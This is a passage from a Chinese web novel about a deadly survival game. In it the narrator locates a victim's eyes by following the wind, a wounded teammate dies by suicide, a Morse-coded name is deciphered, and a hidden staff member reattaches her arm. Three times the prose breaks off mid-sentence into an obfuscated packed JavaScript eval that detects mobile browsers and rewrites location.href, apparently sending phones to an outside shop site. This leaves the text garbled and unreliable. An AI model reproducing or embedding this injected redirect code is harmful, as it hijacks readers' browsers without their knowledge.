“嗯?”丁黎梓愣了下,“你怎么得出的结论?” “系统的提示。”我说,“听着像废话,但却是字面解。” “‘看得最远的,从来不是眼睛,而是方向。’眼睛被剥夺了,但方向感还在。” “在这片花海里,唯一还能指示方向的建筑,只有风车。” 他沉默了一瞬:“……为什么不是灯塔?” “灯塔是给‘看得见的人’用的。”我说,“现在我们什么都看不见,它就成了摆设。秋千床是明显的误导项,酒窖是封闭空间,没有方向感。” 我侧耳倾听,风声里夹杂着规律的转动声。 “只有风车,不靠看,只靠风。它会转,能告诉我们风向。我们能听到它的声音,能感受到风吹来的方向,甚至能用手摸到叶片的朝向。” “在失去视力的情况下,它是唯一还‘活着’的路标。” 我伸出手,慢慢向前探去。 看不见之后,距离变得很可怕。原本三五步就能确认的空间,现在每一步都像踩在未知里。 “跟着风走。”我低声说。 风掠过花海,薰衣草被压弯,又轻轻弹起,花茎刮过小腿,细碎又柔软,却让我更不安——它们在动,说明方向在变。 远处,那阵“吱呀、吱呀”的声音断断续续地传来。 风车。 不是一直都有声音,它在风弱的时候会停,在风起时才重新转动。 “你听到了吗?”我问。 “听到了。”丁黎梓说,“在左前方,但不远。” “那就对了。” 我往前走了一步,脚下踩进松软的土里,鞋底陷了一下。 风声忽然大了一点。 我立刻停住。 “别动。”我抬手示意,虽然他看不见,“风变强了。” 下一秒,空气中传来更清晰的声音—— 木轴转动时的摩擦声,叶片切开空气的低鸣,还有那种略显陈旧的、规律却并不稳定的“咯噔”。 “它在我们正前方偏右。”我说。 “你怎么知道?”丁黎梓问。 我蹲下身,用手贴近地面。 “风是斜着吹过来的。”我轻声道,“而且很稳。” “风车如果在我们背风面,风会被叶片切碎。不是直吹,是乱撞,贴着地面打旋,脚踝、小腿会先被卷到,方向一会儿左一会儿右。” 我伸出手感受风向。 “可现在不是。风一直从同一个方向推过来,没有回流,也没有突然变向,说明风还没经过叶片。” “也就是说,咱俩现在在风车的迎风面。” 我指了指前方的空气。 “风车是靠风转的,它自己不‘看’,但它永远指向风来的方向。眼睛没了,可方向还在。” “系统的意思就是让咱们‘别用眼睛找’。风指方向,风车是永远指向方向的物体。” “所以谢总祥的眼睛,一定在风车里,或者和风车轴心有关的地方。” 我站起身,往右侧挪了一步。 下一瞬—— “嗡。” 一股更明显的气流从耳边掠过。 我下意识抬手挡了一下,指尖擦过一片粗糙的木边。 找到了。 风车的叶片边缘。 “停。”我说。 “别再往前了。”我伸手摸索着抓住风车的支柱,“叶片转速不稳定,再走一步,很可能会被扫中。” 我伸出手,顺着风的来向,一点点摸到风车底座。 粗糙的木纹贴着掌心,顺着往上,再往里,是持续而低沉的转轴震动声。 风车稳定、缓慢、有节奏地转动,像一颗时刻不停在工作的心脏。 “在这下面。”我低声说。 丁黎梓应了一声,靠了过来,我们几乎是贴着彼此行动。 他显然也察觉到了我们贴得太近。 他呼吸顿了一下,像是想说什么,最后却只是顺着我的步伐放慢了脚步。 “你不用……”他低声开口。 “别多想。”我打断他,“看不见的情况下,任何超过一臂的距离,都会变成风险。” “我们靠风车的距离太近,风车转动声和风声太大,哪怕就隔了几步距离,我也有可能听不见你的声音。一旦走散,哪怕只隔两步,也可能再也碰不到对方。” “而且,我负责判断风向、建筑结构、轴心位置,我需要安静安全的环境,专注对外界变化,。你负责防止我绊倒、跌落。” 任何一个人身体的踉跄、停顿都能第一时间被另一个人感知,一旦触到危险部件,另一人能立刻制止。 这是“盲行”时最基础、也最专业的方式。 他在,我就知道自己还在正确的路径上。 至于别的—— 在这种副本里,活着,比任何误会都重要。 “……你一直都这么清醒吗?”他忽然问。 “不是。是被副本逼的。” 我能感觉到,他没有再靠近,只是拉着我左臂空荡荡的衣袖,身体从原本略微前倾的姿态慢慢退回,刻意保持着距离,却仍然站在我随时能反手抓住他的地方。 他扶着风车立柱,我沿着中轴摸索,指尖终于触到一个不该存在的东西—— 是个极其光滑的东西。 我顺着那块光滑的表面往里探,触感冰凉圆润,像是被人精心嵌进去的。 “找到了。”我呼出一口气。 我把那东西抠了出来,放进掌心。 两颗。 大小几乎一模一样。 像玻璃珠。 可比玻璃要沉得多,触感也更冷,像是被什么封住了,指甲刮过去,只能听见细微的“咔”声,却刮不开。 那一瞬间,我几乎能想象出原本的样子。 那是人的眼睛。 只是被抽干了水分,被封存,被抛光,最后变成了供系统摆放的“零件”。 “……操。”丁黎梓低声骂了一句,“这也太恶心了。” 风车在我们头顶缓缓转动,叶片切开空气,发出规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002841|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 律的声响。 我把那两颗“玻璃珠”攥紧。 下一秒,系统的提示音响起。 “叮咚——” “死者谢总祥的【躯干】、【心脏】,【眼睛】已全部回收。” 风,忽然变了。 先是一瞬间的停滞,像有什么东西被按下了静音键,连薰衣草拂动的沙沙声都消失了。 紧接着,气流猛地从侧后方压了过来,方向完全颠倒。 我心里一沉。 不对。 风向变了,不是自然的,是被迫改变的。 脚下的地面传来极轻微的震动,像是某种庞然大物在缓慢移动。 摩擦声从远处传来,吱呀、吱呀,被风拉得忽远忽近。 “你听到了吗?”我压低声音。 “听到了。”丁黎梓的声音绷得很紧,“像是……建筑在动。” 风声里开始混入不同的回响。 我迅速分辨着。 低沉、回音厚重的,是酒窖在移动; 断断续续、带着绳索与木板轻响的,是秋千床; 而那道规律、稳定、像呼吸一样的切风声。 它的声音在变远。 不,是位置在变。 “它们在换位置。”我几乎是咬着牙说出这句话,“不是随机,是在重排。” “……这系统真他妈阴。”丁黎梓低声骂了一句。 我闭着眼,强迫自己冷静下来,把全部注意力都压在感官上。 风擦过脸颊的角度在偏移,地面的震动有节奏地传递,回声的方向一层一层错位,就像一盘被重新推演的棋局。 “别动。”我突然说。 “风是斜着吹的,叶片转动带动气流,我们沿着风车迎风面走,就能保持方向。” 风车的位置,风的方向,还有地面留下的痕迹,全都在我脑子里组合成一条看不见的路线。 “丁黎梓,过来点,我们一步一步走。” 终于,我踩到了一块比周围更沉实的木板——酒窖的入口。 我小心打开门,里面阴凉,木香味扑面而来。 我伸手在架子上摸索,找到了两瓶包装完好的酒,轻轻抱在怀里。 “晨晨,你这副本里啥都敢顺啊,”丁黎梓调侃道,一边凑过来往酒瓶子上一顿摸,“连酒都不放过?” “系统都这么坑咱们了,还不能顺点东西走吗?反正也不是偷,副本规则里又没说不能拿。” 风向逐渐稳定,建筑又开始缓缓移动,我心里紧张又专注。 终于,我们摸到了花海边缘的地面,空气里多了些其他植物的味道。 “出来了!” 一瞬间,我和丁黎梓的视力同时恢复。 光线扑面而来,回头望去,花海、风车、酒窖……一切都清晰了。 我们赶回寝室,终于在八点半左右到达。 赶紧把尸体放回原位。 就在尸体消散前,它又给了我们一个提示—— “我半夜总是会听到有人闷闷地说话……是在催我们离开这里。” 尸体缓缓消散,空气里只剩下寂静。 我看了看时间,心里越来越焦急。 “谢文岚他们怎么还没回来?都快九点了。” 22.第22章 终于,我听到走廊里传来一阵急促凌乱的脚步声。 我冲过去把门拉开。 谢文岚踉跄着闯进寝室,背上背着昏迷不醒的白羽,死死咬着牙撑着。 他把白羽放到床上,随之放下的,还有另一具小孩的尸体。 “快!” 谢文岚的声音带喘,他一边说,一边已经伸手去解白羽的衣扣。 “把医药箱拿来!” 我低头看着白羽的腹部,外伤狰狞,皮肤被烧伤大片。 谢文岚用镊子一点点把嵌进血肉里的玻璃碎片取出来。 “你们遇到什么了?”丁黎梓忍不住问,“她怎么会伤成这样?” “有一关是扫雷。”谢文岚停顿了一瞬,“但不是我们平时玩的那种,是和机关对局围棋。我们每被吃掉一子,就会触发一次随机位置的爆炸。” 他抬头看了眼白羽苍白的脸。 “她就是这么被炸伤的。”谢文岚语气带着压抑不住的愧疚,“而且我怀疑她的耳蜗受损了,她现在已经没办法保持平衡。” 我一时间不知道该说什么。 如果连平衡都无法保持,白羽几乎等于被判了死刑。 我们现在或许还能轮流背着她、护着她闯关,可以后呢? 后面的副本,会有人像我们这样,一直心甘情愿地为她承担风险吗? 我的视线不自觉地落在床边的武士刀上。 “……别救我了。” 白羽醒了,刚试着撑起身体,整个人却猛地向一侧倾斜,胃里翻涌,一口吐了出来。 她下意识伸手想稳住自己,却连方向都判断错了,手落空,人也重重摔回床上。 “别动。” 谢文岚立刻上前按住她,声音压得很低,“你现在不是没力气,是平衡感坏了。” 白羽脸色惨白,额头全是冷汗,过了好一会儿,才低声说了一句: “我感觉……床在转。” “怎么还吐了?”丁黎梓伸手替她擦了擦嘴角。 “应该是内耳前庭受损了。”我开口解释,“前庭和耳蜗在同一区域,受到爆炸冲击后,很容易一起出问题。会出现眩晕、恶心、呕吐、头痛、耳鸣,甚至眼球不受控制地震颤……最严重的,就是没办法判断身体的方向和平衡。” 十年前,师父曾经给我留过一条后路。 他说,如果有一天我再次被卷入这场游戏,万一受了断手断脚那样的重伤,可以去找一个人,用某种非常规的技术把伤接上。 接上之后,能立刻活动,不影响参加下一个副本。 可白羽的情况不一样。 她不是缺了一条肢体,而是平衡系统被毁。 副本结束后那短短两三天的休息时间,根本不可能让她恢复到能独立行动的程度。 更要命的是—— 这个秘密,能让白羽知道吗? 理智在不断提醒我: 一旦说出口,就等于把希望摆在台面上。 而希望,往往是系统最爱碾碎的东西。 可我还是没办法彻底冷静。 我看着她苍白的脸,看着她连“坐稳”这种最基本的动作都做不到,最终还是压下了那个已经成形的念头——让她自我了断。 “别说这种话。”我开口,“我们这关会尽力保护你。而且你看,你受的也不是致命伤,系统并没有抹除你,还是有希望的。” 有些话,我不能说得太清楚。 说得太清楚,一旦被系统知道我能“走后门”,那条路就会立刻被堵死。 所以我没有说“找人救你”,也没有说“一定能好”。 我只是把话停在一个危险却安全的边缘。 “出了这个关卡……” 我顿了顿,确认系统没有任何反馈,才继续说下去,“我可能有办法,帮你恢复伤势。” 谢文岚把尸体放在五号床上:“五号床的小孩是余自怡。” 尸体很快消散,空气重新归于死寂。 我们又成功了一次。 可没有人庆祝。 白羽忽然拉住了我的手。 “晨晨,就算我活着……又能怎么样呢?” “我是姐姐,”她手指颤抖着,“两个妹妹,一个都没保护住。如果只是张潜死了,我和婉儿也许还能拼命攒积分……可现在,婉儿也不在了。” 她抬起头看我,眼里空空的。 “以我的能力,我不了两个人。” “我也不知道……继续闯下去,还有什么意义。” 我反握住她的手:“别说这种话……这个游戏十年开启一次,是必然会发生的事。虽然正常人没人想参与,上一次参与过的人也未必会被卷入下一次,但总会有疯子,喜欢这种脱离现实的刺激。” “这一次救不下来,下一次再进游戏继续努力,总会有机会救她们两个的。”我盯着她的眼睛一字一句说。 话出口的那一刻,我自己都不信。 十年一次。 一次十八个副本。 她能活着撑过接下来的十六个副本,本身就已经是奇迹了。 可面对一个刚失去两个亲人的人,我说不出那么刻薄的话。 我只能把残酷藏起来,把希望硬塞给她,哪怕那希望根本站不住脚。 白羽摇了摇头,没有再继续这个话题。 像是已经没有力气争辩,也不想再被安慰。 “赶紧睡吧,”丁黎梓看了眼时间,“还有三分钟就九点了。” “对了,”白羽忽然开口,“我看你们好像带了红酒回来?” “给我喝点吧。”她说,“我实在太难受了,脑子一直在转,床也在转……喝点酒,或许能睡着。” 她又补了一句,像是在为自己的请求找理由: “你们也喝点吧,就当……庆祝我们离通关又近了一步。” “前庭受损的人,酒精不是镇静剂,是放大器。”我拒绝。 丁黎梓却拍了拍我,好像看出了什么,“给她喝吧。” 丁黎梓没什么医学常识,我也懒得跟他计较,只是看向谢文岚。 “我也同意给她喝。”谢文岚点了点头。 “什么?!”我不敢相信自己的耳朵。 倒了四杯酒,我们沉默碰杯,一饮而下。 “真好喝,好久没有喝到这么好的红酒了。”白羽满足地笑着,慢慢躺下。 到了九点,我听见了谁起床的声音,还有跌跌撞撞的脚步声。 没有开门的声音,所以我一下就知道是谁了。 她的脚步从床尾绕过来,停在我身侧。 她从我床边,拿走了我的武士刀。 我忽然明白她到底想做什么了,怪不得丁黎梓和谢文岚同意给她喝酒。 在这个时间,她做这种事,是必死无疑。 我听见她踉跄着往门口走,肩膀撞在柜子上,又撞在墙上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012884|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “砰。” 寝室门被硬生生撞开。 “嘿嘿,你不乖哦。” 是院长。 “晨晨!!” 白羽的声音在黑暗中炸开。 “他是个四五十岁的男人!身高大概一七五左右,有一只眼睛是义眼!头发灰白!!” 我听见刀被挥动时撕开空气的声音,急促、失衡,紧接着,传来像是重物被拖拽的声响。 “我砍他不流血!” “他的右手小拇指……断了一截……!” 下一秒。 “当啷。” 刀落地的声音清脆又突兀。 随后,那道令人作呕的笑声贴着地面响起。 “哎呀呀……” “怎么就抹脖子了呢?” 院长啧了几声,语气里带着明显的遗憾。 “真是不乖的孩子。” 白羽自杀了,在院长真正对她动手之前。 她留下了关于院长的外貌特征,虽然并不是副本通关所必需的线索,却是她用命换来的情报。 也许以后,会有用。 她很清楚自己撑不过这个副本,也许,她是不想再拖累任何人。 “……快……离开这里。” 声音闷闷的,像是被什么东西隔着,贴得很近,却又听不真切。 这就是谢总祥说的总让他们逃跑的声音。 我没敢睁眼。 我屏住呼吸,把全部注意力都压到听觉上,去分辨声音的来向。 不是门外。 也不是走廊。 ……像是从墙壁里渗出来的。 贴着墙,仿佛有人被困在里面。 很奇怪。 我们已经在这间寝室里睡了好几个晚上,如果墙里真的有什么东西,怎么现在才出声。 第二天清晨,我把武士刀重新收好。我们仨都听到了昨晚的声音,对视了一眼,找来了斧头,然后对准那面墙狠狠砸了下去。 石灰和碎砖被一点点凿开,裂缝后面露出的,是一层早已干硬的泥灰,夹杂着暗色的布料。 裂口被撬开,那东西终于显露出来,果然是一具尸体。 只是,它骨架更宽,四肢修长,躯干比例明显是个成年人。 皮肉早已干瘪,像是被封在墙里太久,连腐烂的气味都被时间榨干。 怪不得昨晚那声音听着一点也不像是孩童。 我下意识后退了一步,如果这是成年人……那他为什么会被封在“儿童副本”的墙里? “先放着吧。”丁黎梓绕着那具尸体走了一圈,语气迟疑,“万一……他就是那个没有名字线索的‘孩子’呢?” 我看了他一眼,又低头看了眼尸体。 骨架完全展开,肩宽腿长,关节磨损明显,怎么看都不像未成年人。 “这还能被称为孩子吗?”我瞥了他一眼。 “呃……”丁黎梓被噎了一下。 谢文岚蹲在尸体旁,托着下巴仔细端详:“也不是完全没可能吧。要是十六七岁的青少年,发育得早一点,看着也会像成年人。” 我沉默了一秒。 “……你这是在强行圆系统的bug吗?” 谢文岚轻咳一声,没有反驳。 我叹了口气,把尸体拖向空床:“放六号床吧。六号床太过干净整洁跟没被人睡过似的,而且这是具男尸,大概率不叫李馨涵,也不用口水垫。” 23.第23章 “先找李馨涵的尸体吧。”我翻到刘慧日记的最后一页,“这是最后一条线索了。” —— 「她像个小宝宝一样,需要照顾,院长说,她是有希望被‘修好’的东西。」 我盯着这句话,越看越不对劲。 “像小宝宝”指的是状态。 如果真是幼童,根本不需要刻意强调照顾,被这样写出来,只能说明她本不该需要这些照顾。 也就是说,李馨涵的实际年龄,应该和写日记的刘慧差不多,甚至更大。 被‘修好’这个词,更让人不适。 以院长那种病态的表达方式,这绝不是什么正常的治疗描述,更像是在谈论一件出了问题的东西。 我合上日记,心里已经有了答案。 “医务室。” 以前从没有仔细翻看过医务室的资料,我们查阅着小孩生病的登记,找到了李馨涵的。 【诊断记录】疑似低氧性脑损伤后遗症: 运动功能障碍 语言功能缺失 吞咽反射减弱,长期流涎 情绪与认知退行 需持续照护,进食需辅助。 【备注】症状于某次“矫正治疗”后明显加重。 【观察记录】初期仍可简单交流,后逐渐丧失语言能力。 【病因】不明 我把那页病历合上,目光却没有立刻移开。 我把揣在兜里的口水垫拿了出来。 布料很薄,已经洗得发硬。 原本应该是有印花的,那种给小孩用的、颜色很鲜艳的卡通图案。 可现在,图案几乎褪得看不见了,只剩下一片不自然的泛白。 是被反复洗、反复泡出来的白。 “消毒水……?” 谢文岚看了眼那块口水垫,又抬头看我:“你的意思是,这东西被消毒水洗过?但消毒水这种东西,小孩应该接触不到吧。” “嗯。”我点了点头,“但李馨涵的情况确实特殊。她控制不住流口水,衣服和垫子很容易一直是湿的。孤儿院里如果有人负责照护她,频繁清洗、甚至消毒,表面上说得过去。” “洗衣服、消毒这种事,总不可能在寝室里弄吧?”丁黎梓扫了一眼四周,“肯定得去洗衣房之类的地方。” “你们有没有觉得,李馨涵这一关好像……挺简单的。”谢文岚说。 “嗯嗯,自从咱们找到下棋的那两个小孩的尸体之后就顺利多了。”丁黎梓点点头。 “可还有那个没有名字、没有任何线索的成年尸体啊。”我皱着眉,“说实话,完全不知道从哪下手。” 洗衣房在孤儿院最偏的角落,靠近旧仓库的位置。 门一推开,一股潮湿又发闷的味道扑面而来。 几台老旧的洗衣机并排放着,外壳生锈。 可墙上,却钉着一块记录板。 我走过去,一行一行看。 最上面写着日期,下面是简单的登记内容。 【床单】 【衣服】 【口水垫】 【消毒】 大多数床号的后面都画着简单的勾。 可2号床出现得异常频繁。 有时一天两次。 有时连续好几天,下面都标着同样的内容。 我们顺着洗衣房的通道,找到了一间隐蔽的消毒室。 李馨涵的尸体蜷缩在角落,表情扭曲,眼角和嘴角都有明显的恐惧与挣扎痕迹。 我回想起病历本上所记录的“症状于某次矫正治疗后明显加重”,心里一沉:“大概率是院长做实验。” 丁黎梓皱眉,“具体死因呢?是中毒还是窒息?” 谢文岚却摇了摇头,眼神不安:“这关副本,能速战速决就最好。” 我看着他急促的神色,心里明白了他急着想结束副本,大概是因为白羽她们接连死亡,担心自己的女朋友。 我也点头,只想赶紧找到那具成人尸体的名字,“先通关最重要,系统没让我们找孩子死因。” 我本来只是在翻看洗衣房那堆杂乱的衣物,整理李馨涵的口水垫和衣服记录。 手伸进一堆叠好的制服时,碰到一件工服。 布料厚实,袖口缝了无数补丁,针脚有长有短,排列得很奇怪,像是有意留下痕迹。 这些缝线,规律不自然。 像……摩斯码?每根针脚的长短和间隔,拼成了点与划的组合。 这不像是小孩子会留下的线索,一定是那个成年尸体的。 难道……是名字? 我小心沿着袖口数着针脚,胸口隐隐一紧,既期待又紧张。 “短——长——短短——长——长——短……”我在纸上记录着。 最终破译为:“WEI XU MING,RU GUO XI TONG WEN WO JIAO SHEN ME,WEI HE” 我背后一阵发寒,这个人……他居然知道系统的存在。 “这是什么?摩斯密码吗?”谢文岚凑过头,小声问。 “嗯,交代了这个人的名字。”我点了点头。 “这也太简单了!那我们赶紧出去吧!”丁黎梓兴奋地说。 是啊,他们没看懂这串摩斯密码,可只有我心里清楚,他也许是被游戏抹杀的策划。 回到寝室,我低声说出“魏何”。 成年尸体缓缓消散,空气中似乎带着一丝安静而深沉的肃穆。 “恭喜玩家班晨晨,谢文岚,丁黎梓通关!”系统的声音响起。 “玩家班晨晨为本场副本表现最佳,获得特殊能力,积分加二十,并获得关卡物品奖励。” 系统继续说道:“请从以下异能中选择一项,作为下一个关卡的能力,并选择三样物品带走。” “我选……‘魏何’的工服、院长室那个被抹黑信息的孩子的资料,以及5号床玩家在床板上画的‘宝藏图’。” 丁黎梓和谢文岚顿时愣住,显然完全不明白我为什么要挑这些看起来毫无用处的东西。 我低头看向异能选项。 【能力一:下一关获得水下呼吸能力】 【能力二:下一关获得变换性别能力】 【能力三:下一关通关获得的积分×2】 “我选能力一。” 能保命的技能,永远排在第一位。 系统沉默了一瞬,随即响起提示音: “玩家谢文岚、丁黎梓,积分各加5。” “请通关的三位玩家,查看额头上的累计积分。” 我们被传送回了我用积分兑换的公寓。 赵美 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按理说,玩家努把力认真一点,应该不会死人的。 可话到了嘴边,却一句也说不出来。 我不知道该怎么安慰谢文岚,或者说,我很清楚,任何安慰在这一刻都毫无意义。 我甚至已经明白了一件事。 他的积分,不可能再借给我了。 “……先吃点东西吧。” 我最终只说了这一句。 声音平得不像是在劝人。 我心里叹了口气。 副本里抓到的蛇终究没煲成汤。 就算煲了,也没什么意义。 要是我们喝汤的时候,正好是他女朋友死的那一刻,对他来说只会更难以接受。 “晨晨,”谢文岚抬手抹了把脸,声音哑得厉害,“救活一个人,基本要每一关都拿 MVP,对吧?最多……只能有一关不是。” “嗯,是的。”我点头,没有回避。 “你有必须要救的人,我也有。”他说,“那我们之后,不能再一组了。” 我没反驳。 他说的是事实。 我们都清楚规则,也清楚彼此的能力。 如果他抢了我的 MVP,我救何彦明的概率会骤降;如果我抢了他的,他就救不了凌肖琳。 继续组队,只会把副本变成竞争场。 输的人,不可能不恨。 “我会搬出去。”谢文岚低声说,“只要不在一个住处,系统把我们分到同一组的概率就会下降。” 他已经开始收拾东西了,我也没拦他。 “我跟你一起。”丁黎梓忽然开口,伸手拉住谢文岚。 谢文岚没有回头。 丁黎梓转过来对我说:“他现在情绪太差了,我怕他出事。我先跟他住一阵子,互相照应。” 他又补了一句:“反正我女朋友没被卷进来,我和谁一组都无所谓。” 我点了点头。 现在的谢文岚,确实需要有人陪着。 “那赵姐就拜托你了。”丁黎梓拍了拍我的肩,“你们也小心点。” 24.第24章 赵美铭已经睡熟。 我换了身不显眼的衣服,悄悄出了门。 能帮我把手臂接回来的,绝不可能是玩家。只有一种可能,那就是工作人员。 而私自替玩家疗伤,本身就是违背游戏规则的行为。 既然是“背叛”,那就不可能发生在任何被系统记录、被玩家频繁经过的地方。 人少。 隐蔽。 不在监视里。 我沿着休息区外围慢慢走,刻意避开所有灯光最亮的路线。 直到视线被地面上的一样东西吸引住。 ——井盖。 不该在这里出现的井盖。 这条路修得太新,地面整齐干净,周围连排水口都没有,却偏偏嵌着这么一个又大又旧的圆形铁盖,颜色暗沉,边缘磨损严重。 我站在原地看了几秒,直觉告诉我就在这里。 伸手试了试。 很沉。 但能动。 我咬牙用肩膀顶开井盖,一股潮湿混着铁锈味的空气涌了上来。 下面果然是楼梯。 我立刻把井盖重新盖好,顺着狭窄的台阶往下走,楼梯尽头,是一扇几乎与墙融为一体的旧门。 我推开门,下一秒,直接愣在原地。 灯光刺目,霓虹闪烁。 筹码碰撞的声音此起彼伏,电子屏滚动着赔率,空气里混着烟味、酒味,不知道还有其他的什么气味,闻着让人慢慢兴奋了起来。 地下空间被扩得异常宽阔。 “……这里居然会有地下赌场?”我下意识脱口而出。 “赌博业,是我们游戏的重要资金来源。” 声音从侧后方响起。 “?!” 我猛地转头。 一个穿着旧工服的男人站在阴影里,神情轻松,像是早就等在那里。 他看了眼我空荡荡的袖口,笑了笑。 “哈喽,等你很久了。你就是庄静修的学生吧。” 庄静修。 他是我的高中物理老师。 和丁黎梓那种喜欢显摆的人不同,庄静修几乎从不自夸。 他知道得太多了,多到根本不需要证明。 公式、结构、概率、人心—— 在他那里,全都能拆开重组,变成可以活命的东西。 他写的一手好字,板书永远干净利落,像解题步骤一样没有多余的一笔,让人下意识相信,跟着他走,不会错。 如果非要说我见过的最厉害的人是谁。 那一定是庄静修。 也是唯一一个,在我第一次踏进这个游戏时,就已经在教我如何活下去的人。 “怎么,你不信我?”他又说了一句,语气里带着点无奈,从口袋里掏出一张折得很旧的纸条,递到我面前。 我接过来。 纸条上只有短短一行字。 ——班晨晨,我的学生。 起笔、收锋、笔画之间的停顿,全都一模一样。 “……是老师亲笔。” “跟我来。”他说完便转身。 我下意识扫了一眼四周,赌场里依旧喧闹,没人注意我们。 他在一排老虎机前停下,取出一枚硬币,投入最末尾那台机器。 拉杆被拉下。 屏幕转动,停住—— 7、7、7。 老虎机发出一声清脆的响动,吐出两枚与刚才一模一样的硬币。 他把其中一枚随手塞回口袋,另一枚递到我面前。 “拿着。”他说,“以后要找我,就用它。” 我接过来,硬币入手温热,重量也不太对。 “这是我用代码数据重构的币,”他补了一句,“和系统里的普通货币不兼容,只有我这台机器认得。” 也就是说,这是系统规则之外的东西。 话音刚落,老虎机旁的空气忽然扭曲了一下。 像被人从中间拉开,一道狭窄的空间门无声展开,里面一片昏暗,看不清尽头。 他侧过身,示意我先走。 “记住,”他说,“门不会一直开着。” 我踏进去的瞬间,身后的门悄无声息地消失了,而是像从未存在过。 隔绝赌场后,空间一下子安静下来。 这里没有墙,也没有尽头,只有一扇又一扇竖立在黑暗中的门,整齐却毫无规律。 我低头看向手中的硬币。 它在轻微震动。 我往前走,经过第一扇门时,几乎没有震动;第二扇,频率略微加快;越往里,震动越明显,像是在不断校准方向。 “你自己去找对的那一扇。”他在我身后停下脚步,声音不远不近,“我不跟你走。” 当我停在其中一扇门前时,硬币几乎要从掌心跳出来,震动攀到了最高点。 我把手放在门把上,下意识回头看他。 他既没有点头,也没有阻拦,只是安静地站在那里。 我深吸一口气,拉开了门。 洁白的台面、整齐排列的器械、还有密封柜中编号清晰的试剂。 “这里是生物实验室。”他说。 “这里……只有你一个人?” 我真正想问的,是像他这样越过系统的人,还有多少个。 我目前知道的,只有那个留下痕迹的——WEI XU MING。 他似乎一眼就看穿了我的意图,语气反倒轻松起来。 “放心吧,在这里你想说什么都可以。”他笑了笑,朝我招了招手,示意我坐下,“系统不监控玩家休息室,我这里又加了双重屏蔽,更不可能被发现。” 他拉开柜门。 灯光下,一截一截整齐排列的肢体暴露出来。 手、脚、前臂、小腿、指节…… 比例、肤色、纹理,全都逼真到令人不适。 “这是!!”我猛地站起身。 下一秒,他伸手按住我的肩,把我摁回座位。 “别这么大反应。”他说得云淡风轻,“仿真肢体而已。” 他从柜中挑了一条和我原本手臂尺寸最接近的肢体,撕开外层薄膜。 连接端裸露出来的,是一团像菌丝般的组织,十分细密,在空气中轻微蠕动着。 “会有点疼,你忍一忍。” 话音未落,他已经把那截手臂按在了我的断口上。 剧痛瞬间炸开,像是无数细小的东西钻进伤口,啃噬、缠绕,往身体里爬。 “别紧张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“他设计了很多副本,难度都极高。后来他想在副本里给玩家‘放水’,甚至偷偷让玩家发现游戏的秘密,因此被抹杀了。和他站在同一阵营的同事,为了留下一丝线索,就把他的信息融入了副本中,但方式非常隐秘。”他推了推眼镜。 “不过这件衣服的发现也完全是偶然,加上袖口针线传达的摩斯密码,一般玩家根本看不懂。而他又被设置为孤儿院关里的一个‘小孩’,难度不是太高了吗?如果分到这关的玩家完全读不懂密码,不就可能死在副本里吗?” 我皱眉问,这分明就是在筛选某些合格的玩家。 “嗯,很残酷,是不是觉得自己很幸运。”他轻轻笑了笑,眼里带着狡黠,“如果所有玩家都能发现这些信息,那我们这些叛徒可就麻烦大了。” 难道……他是打算联合部分玩家,偷偷反水这款游戏? 我吞了口口水,低声问:“那……我师父呢?他在这一轮游戏里吗?” 他比了个“嘘”的手势,笑意中带着警告。 “好了。”他朝我走来,“你的手我已经接好了,我的任务就到这里,你也该回去休息了。” 眨眼间,我蜷缩躺在自己公寓的床上。 “晨晨!你醒啦?”赵美铭的声音响起,带着惊讶,“诶?你的手臂……” 我慢慢坐起身,低头看着自己的左手。 紧握的拳头松开——掌心中,是那枚硬币。 25.第25章 “叮咚!一分钟后进入下一关副本——《人鱼的诅咒》! 难度指数:四颗星! 本场没什么要提示玩家的,因为实在不知道从何提示,嘻嘻~ 解除人鱼的诅咒即可通关,那么~~祝好运!” 系统播报得轻快又敷衍。 我和赵美铭对视了一眼。 “《人鱼的诅咒》?”我问。 “我也是这个。”她点头。 挺好的,至少没被拆开,有熟人,总比孤身一人强。 再次睁眼时,我们站在一座雾气弥漫的村庄里。 空气潮湿黏腻,带着浓重的咸腥味,像是常年被海水浸泡过的地方。 “诶?这不是晨晨吗?” 熟得不能再熟的声音。 我猛地回头。 站在雾气中的,竟然是喻清月——我的高中好友。 这么多天第一次在副本里见到朋友,心口不受控制地松了一下。 可紧接着,又猛地一沉。 她会被卷进这个游戏,本身就不是件好事。 我刚要开口,却忽然想起不久前在朋友圈里看到的那条动态。 笑容还没来得及浮上嘴角,就僵住了。 我的视线不由自主地落在她的腹部,所有重逢的喜悦被生生掐断。 “你……” 喻清月愣了下,顺着我的视线低头看看,随即苦笑一声,下意识用手护住腹部。 “已经快到预产期了。”她轻声说。 我的喉咙像被什么堵住了一样。 “这……” 话没能接下去。 这一瞬间,我心里翻涌的不是震惊,而是一种近乎愤怒的恶心感—— 这游戏,是真的毫无底线,连孕妇都不放过。 “没事的。” 一道声音插了进来。 我抬头,看见林修玊站在她身侧。 “我会尽力保护清月的。” 从高中开始,他就一直是这样。 不问结果,不计代价,只要能站在她身边就好。 林修玊,也是我的高中好友,帅气多金,可惜,清月并没有和他在一起。 